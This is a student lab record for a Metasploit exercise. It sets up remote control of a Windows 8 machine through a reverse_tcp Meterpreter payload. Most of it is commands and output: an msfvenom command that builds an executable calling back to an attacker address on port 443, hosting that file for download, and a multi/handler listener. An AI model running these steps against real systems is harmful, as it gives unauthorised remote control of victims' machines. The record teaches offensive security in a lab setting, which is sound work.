

**Exp. No.: 13**

**Date:**

## **METASPLOIT**

**Aim:** To set up the Metasploit framework and exploit reverse\_tcp in a Windows 8 machine remotely.

### **Algorithm:**

1. Generate payload to be inserted into the remote machine
2. Set the LHOST and its port number
3. Open msfconsole.
4. Use exploit/multi/handler
5. Establish reverse\_tcp with the remote windows 8 machine.
6. Run SimpleHTTPServer with port number 8000.
7. Open the web browser in Windows 8 machine and type `http://172.16.8.155:8000`
8. In KaliLinux, type `sysinfo` to get the information about Windows 8 machine
9. Create a new directory using `mkdir` command.
10. Delete the created directory.

**Output:** `root@kali:~# msfvenom -p`

`windows/meterpreter/reverse_tcp`

`LHOST=172.16.8.155 LPORT=443 -f exe > /root/hi.exe`

`[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload`

`No encoder or badchars specified, outputting raw payload Payload size: 341 bytes`

`Final size of exe file: 73802 bytes root@kali:~# msfconsole`

`[-] ***Rting the Metasploit Framework console...\`

`[-] * WARNING: No database support: could not connect to server: Connection refused Is the server running on host "localhost" (:::1) and accepting`

`TCP/IP connections on port 5432? could not connect to server: Connection refused`

`Is the server running on host "localhost" (127.0.0.1) and accepting TCP/IP connections on port 5432?`

`[-] ***`

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= [ metasploit v5.0.41-dev ]  
+ ----- [ 1914 exploits - 1074 auxiliary - 330 post ]  
+ -- -- [ 556 payloads - 45 encoders - 10 nops ]  
+ ----- [ 4 evasion ]

msf5 > use exploit/multi/handler  
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse\_tcp  
payload => windows/meterpreter/reverse\_tcp msf5  
exploit(multi/handler) > show options Module options  
(exploit/multi/handler):  
Name Current Setting Required Description

Payload options (windows/meterpreter/reverse\_tcp): Name Current Setting  
Required Description

EXITFUNC	process	yes	Exit technique (Accepted: ", seh, thread,
process, none)	LHOST	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:  
Id Name

0 Wildcard Target

```
msf5 exploit(multi/handler) > set LHOST 172.16.8.155 LHOST => 172.16.8.156  
msf5 exploit(multi/handler) > set LPORT 443 LPORT => 443 msf5  
exploit(multi/handler) > exploit
```

```
[*] Started reverse TCP handler on 172.16.8.155:443
```

**Result:**